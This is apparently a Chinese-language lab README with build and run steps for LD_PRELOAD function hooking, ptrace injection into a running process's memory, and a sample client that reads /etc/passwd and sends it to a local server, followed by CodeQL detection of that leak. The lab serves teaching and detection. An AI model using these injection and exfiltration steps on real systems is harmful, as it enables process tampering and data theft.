实验1：LD_PRELOAD注入（test_ldpreload）

1.1 编译

```
cd test_ldpreload
# 通过Makefile进行编译，生成hook.so和victim
make
```

1.2 测试

```
# 通过LD_PRELOAD制定进行动态链接的库，这样victim运行时会调用我们自己实现的
strcmp
LD_PRELOAD=./hook.so ./victim test
```

实验2：ptrace注入（ptrace_hook）

2.1 编译

```
gcc infect.c -o infect
gcc target.c -o target
```

2.2 测试

```
# 首先运行target，它会打印出pid和缓冲区地址
./target
# 同时运行infect target_pid buffer_addr injected_string
sudo ./infect 1766254 94463537270788 XXXXXXXXX
# 观察target的输出，缓冲区的内容被改变
Hello World
XXXXXXXXrld
XXXXXXXXrld
```

实验3：使用codeQL发现恶意代码（simple-malware）

3.1 查看恶意代码效果

```
# 编译
gcc server.c -o server
gcc client.c -o client
# 运行server准备接收来自客户端的信息
./server
# 运行client读取/etc/passwd并发送到serve
```

```
./client 127.0.0.1
# 此时在server的会话中可以看到client发送的/etc/passwd
```

3.2 使用codeQL对client代码进行分析

```
# 生成databse
~/codeQL/codeql/codeql database create malwaredb --language=cpp --
command='gcc client.c'
# 将查询文件malware.ql移动到codeQL的codeql-repo/cpp/ql/src/路径下
cp malware.ql ~/codeQL/codeql-repo/cpp/ql/src/malware.ql
# 执行查询
~/codeQL/codeql/codeql database analyze malwaredb --rerun --
format=csv --output=malware.csv ~/codeQL/codeql-
repo/cpp/ql/src/malware.ql
# 查看结果
cat malware.csv

,,"warning","Leaking data in
[[""sendline""|""relative:///client.c:37:18:37:22""]] to the
destination.","/client.c","39","9","39","12"
```